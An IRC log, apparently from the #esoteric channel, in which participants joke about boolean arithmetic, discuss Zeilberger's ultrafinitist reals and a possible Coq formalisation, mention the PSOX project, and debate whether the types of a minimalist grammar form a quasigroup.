PRIVMSG #esoteric :alise, unitary calculus!! < 1268184482 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: the crazy dude's paper talked about discrete analytic functions < 1268184486 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for all the cases where / is defined on bools it is identical to * < 1268184495 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :01:27 < alise> for all the cases where / is defined on bools it is identical to * < 1268184499 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268184504 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: if you're using his notation you say R but you mean hZ_p < 1268184505 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or mentioned them < 1268184506 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :looked neat < 1268184509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(where Z is a finite set) < 1268184517 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do not pervert /our/ discourse :P < 1268184532 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tbh addition on booleans is pretty nice, being xor < 1268184537 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hmmmm < 1268184558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :true - true = false; true - false = true; false - true = true; false - false = false; < 1268184559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :heh - = + too < 1268184563 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is the best discovery I have made :)))))) < 1268184568 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: what is < 1268184568 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :finding this finite calculus < 1268184576 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dude it's just some addition and subtraction < 1268184648 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hey fax DID YOU KNOW you also have exponentiation on booleans < 1268184654 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x^true = x; otherwise undefined < 1268184664 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268184664 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in fact, you can even use the ackermann function on them. < 1268184667 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's clear sums are integrals because every function is simple < 1268184667 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :from Z, with the usual measure < 1268184667 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :err wait what < 1268184667 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's bullshit, let me gather myself. < 1268184669 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay maybe it's not completely obvious < 1268184671 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"Vladimir Arnold forcefully stated in one of his books that it is wrong to think about finite difference equations as approximations of differential equations. It is the differential equation which approximates finite difference laws of physics" < 1268184672 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now you have INFINITE OPERATORS!!!!!!!!! < 1268184699 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so fax is now the fifth ultrafinitist i gather < 1268184920 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this pleases me < 1268184930 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: I'll love you if you make a Coq module with ultrafinitist definitions of the following, paramaterised on the rational h and the prime p: Naturals, so that there is no prime greater than p; Integers, presumably with each half of the integers dedicated to a sign; Rationals, divided once more (h must fit into one of these); and Reals, defined as hZ_p. < 1268184948 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Along with associated operations, the calculus he defines, and properties. < 1268184951 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I will help you do it :) < 1268184954 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And by love you, I mean hate you love you. < 1268184966 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: Well... I started writing it in my language but couldn't be bothered. < 1268184970 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I should implement (normal) construtive reals though < 1268184981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :those are easy < 1268184990 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :following the sketch in my constructie functional analysis text < 1268185027 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sigma (f:Q+->Q), Forall (e1,e2:Q+), abs (f e1 - f e2) <= e1 + e2 < 1268185028 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :boring < 1268185039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: now do it, ultrafinitistic peon < 1268185193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: Actually I suppose that all those sets don't neccessarily have to have the same size because they all coexist. < 1268185219 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So having the integers be twice the size of the naturals (minus 1, because there's only one 0...) and having rationals be the size of the naturals plus the integers would be OK. < 1268185231 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The reals have to be hZ_p by Order of Zeilberger. < 1268185350 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The nice thing is that we don't need any pesky functions or anything to define these because there's a simple, finite number of cases. < 1268185613 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :p would be what? The largest known* mersenne prime (* known by http://coqprime.gforge.inria.fr/ ) < 1268185630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :p and h are parameters to the module < 1268185663 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they are universal constants like physical ones but we don't know what they are (zeilberger says that the True Value either p or h - i forget which - is unknowable so uh whatever) < 1268185670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we just plug in values we like. < 1268185690 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268185702 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Time for a nick change. < 1268185719 0 :uorygl!unknown@unknown.invalid NICK :uorygl[hireMe] < 1268185723 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268185725 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: if you have an awful lot of cpu time on your hands the largest mersenne prime would be a good choice for p, yes. < 1268185743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :h would be the result of pressing 0., holding down 0 for a long while, then pressing 1, probably. < 1268185763 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't h come from a physical/science experiment < 1268185768 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :like the fine structure constant or something < 1268185783 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Zeilberger claims they are separate to physical constraints and that he is a platonist. < 1268185801 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Since we are following his school of ultrafinitism, not the usual physical-constraints one, that is not required. < 1268185814 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1/p is a good value for h if you have that in your system. < 1268185826 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :What is hZ_p? < 1268185830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :p is a natural and rationals = size of naturals + size of integers, so < 1268185836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1/p should always be acceptable < 1268185842 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl[hireMe]: Z is the integers < 1268185844 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :_p is subscript p < 1268185854 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :And h is an h? < 1268185857 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Zeilberger, an ultrafinitist that believes no infinite sets exist, defines the reals as hZ_p < 1268185859 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :That explains so much. < 1268185866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where h is a very, very small number < 1268185869 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and p is a very, very large prime < 1268185882 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268185884 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :01:50 < uorygl[hireMe]> That explains so much. < 1268185886 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :^^^^ lol < 1268185899 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :So what does hZ_p mean? < 1268185910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It means hZ_p. :-P < 1268185924 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :That is not a definition! < 1268185943 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :Or, if it is a definition, then your mom is a perfectly good model of hZ_p. < 1268185947 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :Since your mom is your mom. < 1268185949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :'Tis true < 1268186017 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Z_p = Z/Zp I guess? < 1268186029 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Galois field < 1268186031 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I figure Z_p is the integers modulo p. < 1268186037 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea what the h is supposed to be. < 1268186053 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :F_p = Z/pZ < 1268186067 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :h is the fundamental mesh constant, it's smaller than 1 < 1268186082 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so hZ_p = {...-h,0,h,2h,3h,...} < 1268186096 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :h: It's Smaller Than One. < 1268186104 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :So you multiply each number by h? < 1268186168 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268186180 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise you should make slogans < 1268186182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so if h is the fundamental mesh constant, what's the cool name for p < 1268186199 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl this is my interpretation, but I am by no mean an expert on this < 1268186261 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't actually do anything < 1268186262 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, ultrafinitists don't even let you have a type of types. < 1268186274 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :After all, it's infinite. < 1268186280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unless you have a finite number of sets, which would be cool. < 1268186283 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: what doesn't? < 1268186401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess the best thing is to have the integers be of size p. < 1268186443 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which means that the naturals are of size (p+1)/2. < 1268186458 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :What does let you have a type of types? < 1268186465 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So the rationals are of size p+((p+1)/2). < 1268186471 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :I know of... not many systems under which that's possible. < 1268186472 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl[hireMe]: Anything? < 1268186474 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nat : Set. < 1268186487 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but Set !: Set. < 1268186498 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Obviously. < 1268186503 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But Set is still infinite. < 1268186528 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, the reals have the same size as the integers. < 1268186536 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which means that the reals are smaller than the rationals. < 1268186543 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This Makes No Sense (not that ultrafinitism does); start over. < 1268186561 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The naturals are of size (p+1)/2. < 1268186564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The integers are of size p. < 1268186572 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :your mom < 1268186572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The rationals are of size p. < 1268186586 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Half negative, half positive. < 1268186591 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :also the h < 1268186599 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So (p-1)/2 each. < 1268186606 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :Here's some ultrafinitism for you: take ZFC, remove the axiom of infinity, add an axiom of non-infinity. < 1268186632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: i don't know coq man I can't do this :( < 1268186794 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, (p-1)/2 is valid Coq < 1268186829 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes it is < 1268186949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268186953 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the size of the integers must be prime < 1268186981 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that would make integers a field - weird < 1268187001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :isn't that awesome not weird :) < 1268187014 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :see these are the possibilities ultrafinitism gives you dude < 1268187028 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol I will ttyl < 1268187037 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have to go < 1268187052 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should have gotten an F on his history exam. Instead, I got a B+
< 1268187087 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1234567890123456789012353 is a prime number < 1268187136 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you've turned into a history person! < 1268187183 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :an historical personage < 1268187216 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I got a 36/50 < 1268187541 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Things about the rationals: 1/p is a rational. < 1268187554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, for every integer, there are p elements in the rationals for it. < 1268187566 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :p is the maximum size of a set. So, the rationals suck. < 1268187570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, I must sacrifice something. < 1268187574 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I sacrifice 1/p. < 1268187574 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268187683 0 :fax!unknown@unknown.invalid QUIT :Quit: 1234567890123456789012353 < 1268188694 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268188964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It would be interesting to see how varied an ultrafinitist system is. < 1268188965 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :My bet: Not at all. < 1268189227 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268189514 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://sibeli.us/ < 1268190931 0 :uorygl[hireMe]!unknown@unknown.invalid PRIVMSG #esoteric :The best ultrafinitist system is a Galois field. < 1268190937 0 :uorygl[hireMe]!unknown@unknown.invalid NICK :uorygl < 1268190961 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :what language lends itself to reflection the most? < 1268190980 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :BackFlip. :P < 1268191016 0 :alise!unknown@unknown.invalid QUIT :Quit: Page closed < 1268191018 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :not that kind of reflectiong < 1268191561 0 :werdan7!unknown@unknown.invalid QUIT :*.net *.split < 1268191562 0 :rodgort!unknown@unknown.invalid QUIT :*.net *.split < 1268191562 0 :ttm!unknown@unknown.invalid QUIT :*.net *.split < 1268191698 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Aura! < 1268191704 0 :ttm!~daniel@130-94-161-238-dsl.hevanet.com JOIN :#esoteric < 1268191706 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :jamaica! < 1268191715 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or whatever that's called. < 1268191743 0 :rodgort!~rodgort@li14-39.members.linode.com JOIN :#esoteric < 1268192439 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268193057 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268194425 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Gah, I'm so unclear sometimes. < 1268194672 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm tempted to throw neutrons at you. < 1268194682 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But that wouldn't really help. < 1268194709 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268194719 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Sgisotype < 1268196208 0 :coppro!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1268197192 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268197693 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268198670 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Hm, smeta.na is available for the low low price of $4,000/yr < 1268198738 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268199259 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268199582 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is half tempted to use PSOX with Scheme
< 1268199585 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :>:D < 1268199641 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION three-quarters tempted to mock Sgeo's use of fractional temptation.
< 1268201376 0 :skeeto!~user@c-98-204-92-42.hsd1.md.comcast.net JOIN :#esoteric < 1268201455 0 :skeeto!unknown@unknown.invalid PRIVMSG #esoteric :is it possible to write the identity function in Fractran? I don't think it's possible. < 1268202185 0 :skeeto!unknown@unknown.invalid PART #esoteric :? < 1268202804 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, what does PSOX look like? < 1268202824 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :One can not see PSOX. < 1268202830 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :One can only ... /experience/ PSOX. < 1268202836 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decides that uorygl has been living in a bubble since the end of 2007
< 1268202839 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Does it provide the Unix standard library? < 1268202851 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I don't think PSOX is famous. < 1268202873 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It is infamous in these parts < 1268202911 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It gives alise aneurysms < 1268202935 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If it gives alise aneurysms, I'm almost bound to probably be slightly irritated by it. < 1268203505 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268203755 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268204170 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Isn't PSOX about as well-maintained as PEBBLE these days? < 1268204187 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, if PEBBLE was abandoned, yes < 1268204205 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I've not touched it since, oh, 2007. < 1268204209 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If people start showing interest, I may regain interest in maintaining PSOX < 1268204406 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268204803 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268206172 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268206782 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes to try Smalltalk
< 1268207504 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268207573 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268207999 0 :clog!unknown@unknown.invalid QUIT :ended < 1268208000 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268208170 0 :cheater2!~cheater@ip-80-226-44-25.vodafone-net.de JOIN :#esoteric < 1268208799 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268208954 0 :cheater3!~cheater@ip-80-226-44-25.vodafone-net.de JOIN :#esoteric < 1268209075 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268209193 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268209229 0 :zeotrope!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268209264 0 :zeotrope!~zeotrope@bas3-kitchener06-1096649314.dsl.bell.ca JOIN :#esoteric < 1268209941 0 :OxE6!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268210004 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268210219 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268210300 0 :MU!~mu@wireless-lsusecure-9.net.lsu.edu JOIN :#esoteric < 1268210309 0 :MU!unknown@unknown.invalid PART #esoteric :? < 1268211121 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268212503 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268212510 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268216192 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268216616 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268216728 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oerjan come quick < 1268217466 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol! :o < 1268217832 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268217868 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :do the types by any chance form a quasigroup in your a/b b\a type thingie? < 1268217923 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268217972 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'll take that as a no < 1268217981 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no no, dont take it as anything < 1268217986 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont know what you're asking < 1268217990 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh okay < 1268217992 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm talking about that < 1268218008 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :linguistics thing you tried to teach me and someone else and he was like whaaaaaa < 1268218026 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :(C)CG? < 1268218028 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and you were like okay this is going nowhere i'm gonna go do something otherthing. < 1268218040 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh, right < 1268218052 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lecomte and retore's minimalism < 1268218054 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it was about semiconflabulent grammars < 1268218059 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ah minimalist < 1268218080 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont know if the types for a well defined structure. i doubt it < 1268218084 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :form** < 1268218171 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmm minimalism has (a/b)*b = a, but does it have (a*b)/b? i guess that makes no sense < 1268218207 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, * is an operation on lexical items that bear types < 1268218217 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i just noticed a similarity when reading about quasigroups, but i haven't actually given it any thought < 1268218221 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not a type constructor < 1268218225 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268218233 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so a*b isn't even defined in general < 1268218241 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, it is < 1268218244 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :therefore it can't form an algebra < 1268218245 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1268218247 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its just not a type constructor < 1268218257 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :look at it like this < 1268218258 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but is it defined no matter what the types of a and b are < 1268218267 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats correct < 1268218272 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but / is a type constructor < 1268218275 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :* is not < 1268218289 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so you cant do (a*b)/c < 1268218293 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :why? because a*b is not a type < 1268218303 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so you cant use / on it < 1268218312 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh alright < 1268218318 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :think of it like haskell < 1268218324 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a -> b is a type in haskell < 1268218331 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a + b is not a type < 1268218337 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so you cant have some type < 1268218339 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :(a + b) -> c < 1268218371 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so i can't really say (A/B)*B = A either, i can say c*d : B if c : (A/B) and d : B? < 1268218413 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pretty but. i mean, (A/B)*B would be seen as just an operation over the type objects < 1268218417 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is fine < 1268218422 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its just not a type constructor < 1268218432 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its an operation on types. < 1268218438 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1268218451 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but as an operation over type objects, isn't it partial? < 1268218501 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :say we just have the types A and B, how can A*B be defined if * isn't a type constructor < 1268218537 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :also how can it be defined on the objects or whatever, if a : A, b : B, what's the type of a*b? < 1268218613 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it is indeed partial < 1268218651 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :A*B is undefined. only A/B * B and B * A\B are defined < 1268218663 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :for all types A and B < 1268218667 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay, so they do form an algebra, but it's partial < 1268218674 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :therefore it clearly can't be a quasigroup < 1268218675 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its just function application dude < 1268218691 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its literally beta reduction < 1268218697 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :on types instead of functions < 1268218707 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and the types are directional < 1268218742 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what's the difference between type constructors and type operators? both are operators that take types to other types < 1268218755 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :constructors are used to define the universe of types, yes, but i don't see how that's relevant < 1268218774 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i probably shouldn't be looking at this quite this algebraically. < 1268218778 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sure but a type constructor is, at least in this case, and i think in all cases, total < 1268218787 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ah, well yes, okay < 1268218791 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :-> : T x T -> T < 1268218807 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :* : (T x T) x T -> T < 1268218874 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theres also the tensor product thing that they had tho fight < 1268218887 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :they had a second type constructor, x < 1268218890 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so (T, /, \) forms an algebra, but it doesn't really have any structure... so i guess you should just think of those as type constructors instead of an algebra < 1268218901 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, it DOES have structure < 1268218905 0 